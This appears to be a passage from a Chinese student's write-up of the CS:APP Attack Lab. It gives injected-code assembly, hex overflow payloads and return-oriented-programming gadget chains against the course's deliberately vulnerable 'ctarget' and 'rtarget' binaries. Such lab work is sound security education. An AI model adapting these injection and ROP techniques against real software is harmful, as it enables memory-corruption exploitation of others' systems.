看样子我们不能溢出太多，不然会造成莫名其妙的破坏，于是我考虑另一个方案，跳到我注入的代码之后，我先把 %rsp 减少 8，然后再把 touch 地址写到 (%rsp) 处，这样就确保对栈破坏最小

Unknown
1
2
3
4
    movq $0x59b997fa, %rdi
    add $-8, %rsp
    movq $0x004017ec, (%rsp)
    ret

得到二进制：

Unknown
1
2
3
4
5
6
7
8
9
10
11
12
13

ans2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	48 83 c4 f8          	add    $0xfffffffffffffff8,%rsp
   b:	48 c7 04 24 ec 17 40 	movq   $0x4017ec,(%rsp)
  12:	00
  13:	c3                   	ret

构造

Unknown
1
2
3
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 c7 c7 fa 97 b9 59 48 83 c4 f8 48 c7 04 24 ec 17 40 00 c3
8c dc 61 55
0a

终于通过

不过后续在做 Phase 3 的时候实在好奇为什么不能再往上多修改一些栈数据，不能多修改的话可能会影响 Phase 3 的发挥。

在 gdb 中，触发段错误后，使用 disas 看到了触发段错误的指令：movaps %xmm0,-0x40(%rbp) 查看 %rbp 的值是正常的，应该不是引用了非法内存，这就很奇怪了，于是询问 ai 得知，movaps 这个涉及到 %xmm0（涉及到的原因应该不是浮点运算，应该是使用 %xmm0 做向量运算），这个指令要求目的地址按 16 字节对齐，一般情况下编译器会自动保证这里是满足对齐要求的，但是我们之前修改了 %rsp ，可能破坏了对齐

5.3 Phase 3

这次要求我们让程序跳转到 touch3，要求我们不仅注入代码还要注入特定字符串，并传递字符串指针作为 touch3 的参数

cookie 对应的 ascii 码的十六进制表示为 0x6166373939623935，然后再加一个 00 结尾。首先一个问题是这个字符串数据放在哪里。一开始怕破坏太多栈空间导致段错误（后来才知道是对齐的原因），所以考虑把数据放在栈中比较靠近底部的位置，然后在自己注入的代码中去注入数据：

Unknown
1
2
3
4
5
6
7
    movq $0x6166373939623935, %r8
    movq %r8, 0x55620000
    movq $0x00, 0x55620008
    movq $0x55620000, %rdi
    add $-8, %rsp
    movq $0x004018fa, (%rsp)
    ret

不过遗憾的是这样编译出来的代码太大，超过了 40 字节，导致后面无法再篡改返回值地址了

观察 x86-64 指令的编码，如果直接指定内存的地址，那么会直接占用 8 字节，而如果是根据寄存器 + 偏移进行寻址的话编码大小会少一些

目前比较好控制的寄存器就是 %rsp 了，当跳到我们注入的代码之后，此时 %rsp 指向 test 函数的栈顶，我们考虑把数据直接注入到 %rsp 上

Unknown
1
2
3
4
5
6
7
    movq $0x6166373939623935, %r8
    movq %r8, (%rsp)
    movq $0x00, 8(%rsp)
    movq %rsp, %rdi
    add $-8, %rsp
    movq $0x004018fa, (%rsp)
    ret

构造：

Unknown
1
2
3
00 49 b8 35 39 62 39 39 37 66 61 4c 89 04 24 48 c7 44 24 08 00 00 00 00 48 89 e7 48 83 c4 f8 48 c7 04 24 fa 18 40 00 c3
79 dc 61 55
0a

通过

5.4 Phase 4

从这个 phase 开始，我们需要一个新的被称为 ROP 的攻击手段。任务指导书中介绍了这个手段。

大概就是，如果程序的栈地址是随机化的，且栈所处的内存被记为不可执行，那么前面的代码注入的方法就行不通了，甚至使用 nop sled 都无法发挥作用。ROP 考虑利用现有的代码，汇编指令都是一个一个放置的，只有我们找对了第一个指令的起始地址，那么后续指令就会一个一个跟着执行，但是如果我们截取现有代码中的一部分指令，比如从一个完整的指令中间开始解码指令，有可能就能得到我们想执行的恶意代码。一般我们需要反编译程序然后找到这种指令的首地址。我们可能更倾向于找最后是 0xc3 结尾的部分，因为 0x3c 在 x86-64 中是 ret 指令，这样的话我们可以在执行一部分恶意代码之后跳到下一个地方执行恶意代码。

本次 lab 为了简单起见，要攻击的程序 rtarget 里面有很多奇怪函数，目的是暴露潜在的恶意指令，方便我们攻击。并且任务指导书中划定了寻找可以利用的指令的范围。

Phase 4 需要我们像 Phase 2 那样进行攻击，大概就是我们需要寻找可以利用的指令，这些指令可以调用 touch2 并传递一个参数

要注入数据的话，直接从现有指定中找应该是几乎不可能的。不过指导书里有一个提示，我们可以考虑利用 pop 指令，这个可以把当前栈顶数据弹到寄存器，而栈顶的元素我们是可以自己去设置的

那么我们现在要寻找的目标是一个 pop %rdi 或者是 pop 后再 mov 到 %rdi

指令对应的字节如下：

首先是这里

text
1
2
3
00000000004019a7 <addval_219>:
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3                   	ret

58 是 popq %rax，可以让我们的数据传到 %rax 中，后续的 90 是 nop，而

Unknown
1
2
3
00000000004019a0 <addval_273>:
  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax
  4019a6:	c3                   	ret

中的 48 89 c7 则可以直接让我们把注入的数据传到参数中，后面的 c3 直接返回

两者的地址分别是 0x4019ab 和 0x4019a2，touch2 的地址为 0x4017ec

于是我们这么构造：

text
1
2
3
4
5
6
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
a0

显示填充缓冲区，然后是第一次跳转地址（到 pop），然后是注入数据，然后是第二次跳转地址（到 mov），然后是第三次跳转地址（到 touch2）

5.5 Phase 5

指导书在这里开始有点劝退还挺有意思（）

首先提到这里需要用到一些新的指令

D 组比较有意思，这些指令执行之后并不会改变任何寄存器，可以视为 nop 指令

以及提到了标准答案用到了 8 个 gadgets，非常可怕

同时还说到了 movl 会将寄存器的高 32 位清零

首先我们要考虑还和上面一样注入字符串的数据。字符串指针的数据比较难搞，因为我们现在不知道栈的具体地址，不能直接把指针指向栈上。而给出的指令都没有涉及到内存寻址。

我想到一个办法，可以考虑把数据正好注入在最后执行 touch3 之前的栈顶上，然后把 %rsp 赋值给 %rdi。不过对应的 48 89 e7 没有在代码中找到。反而是观察到了 48 89 e0 有很多，对应于 mov %rsp,%rax。我们过滤掉一些不能用的（即 48 89 e0 后面还跟着其他未知指令），还有这些：

Unknown
1
2
3
4
5
6
0000000000401a03 <addval_190>:
  401a03:	8d 87 41 48 89 e0    	lea    -0x1f76b7bf(%rdi),%eax
  401a09:	c3                   	ret
0000000000401aab <setval_350>:
  401aab:	c7 07 48 89 e0 90    	movl   $0x90e08948,(%rdi)
  401ab1:	c3                   	ret

那么再考虑从 %rax 传到别的地方，刚好就有下面这个 mov %rax,%rdi

Unknown
1
2
3
00000000004019c3 <setval_426>:
  4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)
  4019c9:	c3                   	ret

不过还有一点，我们把 %rsp 传给 %rax 时，%rsp 指向的内容是一个 8 字节的下一步要跳转的地址，我们是不可能在这个地方放置数据的

一个想法是，我们希望 mov %rsp,%rax 之后再 pop 一下，让 %rsp 往下走一下

要实现这个，我们可能需要 89 e0 到 89 e7 后面找 58 到 5f，可惜根本找不到。

于是到这里就完全卡住了，我几乎把能用到的指令全找出来了。大概是：

• 可以使用 pop %rax 将栈中数据转移到 %rax
• 可以通过 mov 指令将 %esp 数据转移到 %rax

然后数据从 %rax 有两个走向

• %rax -> %edi
• %rax -> %edx -> %ecx -> %esi

不过现在还是难以获得注入字符串数据的指针。在这里卡了快一天了，最后直接让 ai 给了一点提示。ai 说注意使用 lea 指令。于是我突然意识到，我们不光可以从字节中直接截取出指令，还能直接利用现有的指令，比如这里就有个非常关键的地方：

Unknown
1
2
3
00000000004019d6 <add_xy>:
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019da:	c3                   	ret

这个可以让 %rax 变为 %rdi + %rsi，而 %rdi 和 %rsi 是可以根据我们上面分析出来的数据走向得到的

先整理一下我们用到的指令的地址：

Unknown
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
popq %rax: 0x4019cc
00000000004019ca <getval_280>:
  4019ca:	b8 29 58 90 c3       	mov    $0xc3905829,%eax
  4019cf:	c3                   	ret
movq %rsp,%rax: 0x401a06
0000000000401a03 <addval_190>:
  401a03:	8d 87 41 48 89 e0    	lea    -0x1f76b7bf(%rdi),%eax
  401a09:	c3                   	ret
movq %rax,%rdi: 0x4019a2
00000000004019a0 <addval_273>:
  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax
  4019a6:	c3                   	ret
movl %eax,%edx: 0x4019dd
00000000004019db <getval_481>:
  4019db:	b8 5c 89 c2 90       	mov    $0x90c2895c,%eax
  4019e0:	c3                   	ret
movl %edx,%ecx: 0x401a34
0000000000401a33 <getval_159>:
  401a33:	b8 89 d1 38 c9       	mov    $0xc938d189,%eax
  401a38:	c3                   	ret
movl %ecx,%esi: 0x401a27
0000000000401a25 <addval_187>:
  401a25:	8d 87 89 ce 38 c0    	lea    -0x3fc73177(%rdi),%eax
  401a2b:	c3                   	ret
lea (%rdi,%rsi,1),%rax: 0x4019d6
00000000004019d6 <add_xy>:
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019da:	c3                   	ret

于是大概的思路就是，我们先把 %rsp 移动到 %rdi 中，然后通过 pop 将一个地址偏移量的数据从栈中传到 %rax，然后到 %esi，然后使用 lea 计算出字符串的地址，再传到 %rdi 中。字符串数据应该放在所有跳转地址的最后面

一开始我是把 %rsp 放到 %esi 中的，后来在 gdb 中调试发现 rtarget 的栈位于整个虚拟内存空间比较高的一部分，这意味着栈地址的高 32 位是有数据的。而上面的指令中只有 %eax 到 %edx，不能传 64 位的栈地址

然后大概是

Unknown
1
2
3
4
5
6
7
8
popq %rax				0x4019ca
movl %eax,%edx			0x4019dd
movl %edx,%ecx			0x401a34
movl %ecx,%esi			0x401a27
movq %rsp,%rax			0x401a06
movq %rax,%rdi			0x4019a2
lea (%rdi,%rsi,1),%rax	0x4019d6
movq %rax,%rdi			0x4019a2

然后注意一下地址偏移数据的构造。%rsp 被存到 %rax 的时候，%rsp 指向的位置后面需要继续放 4 个跳转地址，总共 32 字节，十六进制为 0x20

Unknown
1
2
3
4
5
6
7
8
9
10
11
12
13
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
cc 19 40 00 00 00 00 00
20 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
27 1a 40 00 00 00 00 00
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00
a0